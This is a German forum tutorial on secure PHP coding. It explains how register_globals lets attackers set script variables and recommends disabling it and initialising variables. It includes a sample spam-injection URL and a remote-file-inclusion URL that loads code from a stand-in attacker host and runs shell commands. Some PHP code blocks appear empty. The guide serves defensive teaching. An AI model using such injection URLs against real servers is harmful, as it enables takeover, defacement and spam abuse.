| Homepage | CGI/Perl Scripte | PHP Scripte | Artikel | CGI-Perl Workshop | SELFHTML | SELFPHP | Linkdatenbank | Grafikdownloads |
![]() |
|
|
#1 |
|
Registrierter Benutzer
eLiTe mEmBeR
Registriert seit: 06.2001
Ort: Vogtland
Beiträge: 6.111
|
Vorab:
Ich möchte Euch bitten in diesem Topic nicht über die aufgezeigten Mittel und Wege zu diskutieren, sondern in diesem Fall bitte einen Extra-Thread im Bereich PHP & MySQL zu eröffnen. Dieser Thread soll ein Leitfaden zu sicheren und besseren PHP-Programmierung werden. Jeder der dazu beitragen kann, darf das auch gerne tun, Diskussionen dazu aber wie gesagt bitte in einem Extra-Thread... Vieleicht kann Helmut das ja sogar oben festpinnen 1. Register_Globals Was ist register_globals eigentlich? Unter register_globals = on; (php.ini) ist es möglich Variablen von einer anderen Herkunft zu verwenden ohne diese neu definieren zu müssen. Auf den ersten Blick mag diese Einstellung einiges an Arbeit dem Programmierer abnehmen. Betrachtet man dies aber näher, erkennt man schnell ein potenzielles Sicherheitsrisiko. Schauen wir uns das mal anhand eines einfachen Kontaktformulars an: Das Formular selber: HTML-Code:
<html> <body> <form action="mail.php" method="post"> Dein Name: <input type="text" name="name"><br /> Deine eMail: <input type="text" name="email"><br /> Nachricht: <input type="textarena" name="nachricht"><br /> <input type="submit" value="Senden" name="submit"></form> </body> </html> PHP-Code:
Was passiert aber nun wenn ein böser Mensch auf die mail.php direkt via URL so zugreift: Code:
http://www.url.de/mail.php?nachricht=Ich%20bin%20ein%20Spammer,%20besuch%20doch%20mal%20folgende%20URLS&name=Spammer&email=sagich@nicht.de Die Nachricht wird denoch verschickt, da ALLE Variablen, egal ob es sie jemals gab oder nicht, global registriert sind. Und noch dazu haben wir uns ein Script gebaut das, uns in Zukunft auch noch selber mit SPAM überschütten wird. ;-) Es ist dem Script also absolut egal ob bsw. $email aus einer GET oder POST Übergabe kam, ob sie aus einer Session oder aus einem Cookie kommt! Lassen wir es mal etwas komplizierter werden, um zu demonstrieren wieso die Verwendung von register_globals = on wirklich gefährlich ist. Wir verwenden eine nettes Script das wir irgendwo runtergeladen haben. (z.B. ein Gästebuch) Dieses verwendet einen Konfigurationsdatei, in der Sachen wie Pfad, URL etc.. gespeichert sind: PHP-Code:
Nun nutzt er die Funktion der Global Registrierten Variablen für sich aus, um über seinen eigenen Server auf dem angegriffenen Server einen Ordner zu erstellen und dort bsw. ein Spam-Script zu plazieren. Dazu nutzt er die globale Variable $pfad, um darin die URL zu einem eigenem Programm einzuschleusen: Code:
http://www.url.de/gbook/eintragen.php?pfad=http://angreifer.to/abc.jpg?&do=cd%20/html/home/user1234/;ls%20-al Mit dieser Variante kann der Angreifer immer weiter vordringen und mit dem FTP-Server machen was er will - Anlegen eines Verzeichnisses - Umbenennen eines Verzeichnisses - Kopieren eines Scriptes von seinem Server auf den angegriffenen Server Diese Liste könnte man jetzt immer weiterführen, aber spätestens hier sieht man das der Angreifer fast die komplette Kontrolle über den FTP-Server besitzt, OHNE selber auf ihm drauf zusein. So ist es dann möglich das zB. Startseiten überschrieben werden (Defacement), der Server zum Spammen benutzt wird oder - im schlimmsten Fall - alle Dateien gelöscht werden. Was kannst Du nun tun um nicht selber auch zu einem Sicherheitsrisiko wirst? 1. Frag Deinen Provider ob bei Dir register_globals auf OFF steht und wenn nicht, lass es deaktivieren! Solte der Provider das nicht wollen, frag ihn ob es bei ihm möglich ist bsw. via .htaccess register_globals zu deaktivieren. Bei All-Inkl.com ist dies mittels folgenden Eintrag in die .htaccess Datei möglich: Code:
php_flag register_globals off Natürlich sollte hier erwähnt werden das ältere oder "schlecht" programmierte Scripte, welche register_globals auf ON vorraussetzen, nicht mehr funktionieren werden. Aber wenn man oben angeführte Beispiele überdenkt, sind diese Scripte ohnehin ein Sicherheitsrisiko und sollten überarbeitet oder ausgetauscht werden. 2. Registriere und definiere Variablen die Du in Deinen Scripten verwendest immer selber und weise ihnen direkt am Anfang des Scriptes einen leeren String zu! PHP-Code:
PHP-Code:
Denn ist ein System erst einmal befallen, macht es wessentlich mehr Arbeit es wieder zu reinigen - noch dazu ist in den meisten Fällen dann bereits ein großer Schaden enstanden. Bleiben wir beim Beispiel mit dem Spamscript, kannst Du davon ausgehen das dieses Script dann keiner hinterlassen hat der seiner Oma und seiner Mutti mal eine eMail schicken wollte. Innerhalb von wenigen Stunden kann ein richtiger Powerspammer einiges an Datenverkehr bewegen - Datenverkehr denn Du evtl. sogar extra bezahlen musst.
__________________
Erste Deutsche Juan Montoya Fanpage | Das Formel 1 Tipspiel | Spider-Software.de Meine Tutorials Geändert von Spider (13.10.2006 um 21:05 Uhr) |
|
|
|
| Stichworte |
| php, sicher programmieren, spider, spider-tutorial |
| Themen-Optionen | |
| Ansicht | |
|
|
Ähnliche Themen
|
||||
| Thema | Autor | Forum | Antworten | Letzter Beitrag |
| all-inkl php | forenlandschaft | PHP und MySQL | 16 | 17.09.2004 14:29 |
| CGI-Perl oder PHP? | micha02 | CGI und Perl Forum | 6 | 10.12.2003 16:33 |
| Ist das so richtig: PHP + Apache | KoLSMS | PHP und MySQL | 4 | 05.04.2003 17:01 |
| PHP Dateien als *.htm speichern und trozdem als PHP behandeln lassen | Chacky | PHP und MySQL | 3 | 02.01.2003 20:28 |
| NEWSSCRIPT OHNE SSI GESUCHT!! ODER SSI SCRIPT IN PHP EINGEBUNDEN! | morpheus456 | Suche Script - Script gefunden | 9 | 25.01.2002 16:38 |